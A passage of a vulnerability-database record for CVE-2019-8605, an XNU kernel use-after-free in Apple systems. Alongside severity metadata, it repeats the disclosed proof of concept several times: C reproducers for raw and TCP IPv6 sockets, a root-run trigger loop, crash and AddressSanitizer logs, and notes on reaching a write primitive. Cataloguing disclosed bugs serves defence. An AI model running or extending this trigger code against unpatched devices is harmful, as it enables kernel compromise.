/src/bsd/kern/uipc_socket.c:1839:10\n #6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10\n\npreviously allocated by thread T0 here:\n #0 0x497cbd in __interceptor_malloc _asan_rtl_:3\n #1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10\n #2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9\n #3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13\n #4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12\n #6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10\n\n\n#include <stdio.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\n/*\nTCP-based reproducer for CVE-2019-8605\nThis has the benefit of being reachable from the app sandbox on iOS 12.2.\n*/\n\n#define IPV6_3542PKTINFO 46\n\nint main() {\n int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n printf(\"res0: %d\\n\", s);\n\n unsigned char buffer[1] = {'\\xaa'};\n int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));\n printf(\"res1: %d\\n\", res);\n\n res = disconnectx(s, 0, 0);\n printf(\"res2: %d\\n\", res);\n\n socklen_t buffer_len = sizeof(buffer);\n res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);\n printf(\"res3: %d\\n\", res);\n printf(\"got %d\\n\", buffer[0]);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nIt seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.\n\nBut there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-06-06T15:41:25", "description": "A use-after-free vulnerability in Apple iOS, macOS, tvOS, and watchOS could allow a malicious application to execute code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-27T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2022-06-27T00:00:00", "id": "CISA-KEV-CVE-2019-8605", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2023-06-06T17:24:11", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-05-21T00:00:00", "type": "zdt", "title": "macOS < 10.14.5 / iOS < 12.3 XNU - in6_pcbdetach Stale Pointer Use-After-Free Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-05-21T00:00:00", "id": "1337DAY-ID-32762", "href": "https://0day.today/exploit/description/32762", "sourceData": "macOS < 10.14.5 / iOS < 12.3 XNU - in6_pcbdetach Stale Pointer Use-After-Free Exploit\n\n\n# Reproduction\nRepros on 10.14.3 when run as root. It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <sys/ioctl.h>\n#include <sys/socket.h>\n#include <unistd.h>\n#include <net/if.h>\n#include <string.h>\n#include <netinet/in.h>\n#include <errno.h>\n\n/*\n# Reproduction\nRepros on 10.14.3 when run as root. It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n*/\n\n#define IPPROTO_IP 0\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\nint main() {\n int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n printf(\"res0: %d\\n\", s);\n struct sockaddr_in6 sa1 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65000,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_LOOPBACK,\n .sin6_scope_id = 0,\n };\n struct sockaddr_in6 sa2 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65001,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_ANY,\n .sin6_scope_id = 0,\n };\n\n int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));\n printf(\"res1: %d\\n\", res);\n\n unsigned char buffer[4] = {};\n res = setsockopt(s, 41, 50, buffer, sizeof(buffer));\n printf(\"res1.5: %d\\n\", res);\n\n res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));\n printf(\"res2: %d\\n\", res);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.\n\n==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248\nREAD of size 8 at 0x610000000c50 thread T0\nSCARINESS: 51 (8-byte-read-heap-use-after-free)\n #0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25\n #1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13\n #2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12\n #4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10\n\n0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)\nfreed by thread T0 here:\n #0 0x497a3d in free _asan_rtl_:3\n #1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n #2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3\n #3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7\n #4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10\n #5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10\n #6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10\n\npreviously allocated by thread T0 here:\n #0 0x497cbd in __interceptor_malloc _asan_rtl_:3\n #1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10\n #2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9\n #3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13\n #4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12\n #6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10\n\n\n#include <stdio.h>\n#include <unistd.h>\n#include <netinet/in.h>\n\n/*\nTCP-based reproducer for CVE-2019-8605\nThis has the benefit of being reachable from the app sandbox on iOS 12.2.\n*/\n\n#define IPV6_3542PKTINFO 46\n\nint main() {\n int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n printf(\"res0: %d\\n\", s);\n\n unsigned char buffer[1] = {'\\xaa'};\n int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));\n printf(\"res1: %d\\n\", res);\n\n res = disconnectx(s, 0, 0);\n printf(\"res2: %d\\n\", res);\n\n socklen_t buffer_len = sizeof(buffer);\n res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);\n printf(\"res3: %d\\n\", res);\n printf(\"got %d\\n\", buffer[0]);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nIt seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.\n\nBut there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.\n\n", "sourceHref": "https://0day.today/exploit/32762", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-06-06T17:16:19", "description": "A use after free issue was addressed with improved memory management. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1. A malicious application may be able to execute arbitrary code with system privileges.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "attackerkb", "title": "CVE-2019-8605", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-07-24T00:00:00", "id": "AKB:C3EBA984-247F-44E9-AD4B-260AFA76DD28", "href": "https://attackerkb.com/topics/nWO2TPsRH2/cve-2019-8605", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-06-06T15:11:41", "description": "A use after free issue was addressed with improved memory management. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1. A malicious application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8605", "cwe": ["CWE-416"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-12-20T17:47:00", "cpe": [], "id": "CVE-2019-8605", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8605", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}], "exploitdb": [{"lastseen": "2023-06-06T15:17:51", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-05-21T00:00:00", "type": "exploitdb", "title": "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2019-8605", "CVE-2019-8605"], "modified": "2019-05-21T00:00:00", "id": "EDB-ID:46892", "href": "https://www.exploit-db.com/exploits/46892", "sourceData": "# Reproduction\nRepros on 10.14.3 when run as root. It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <sys/ioctl.h>\n#include <sys/socket.h>\n#include <unistd.h>\n#include <net/if.h>\n#include <string.h>\n#include <netinet/in.h>\n#include <errno.h>\n\n/*\n# Reproduction\nRepros on 10.14.3 when run as root. It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 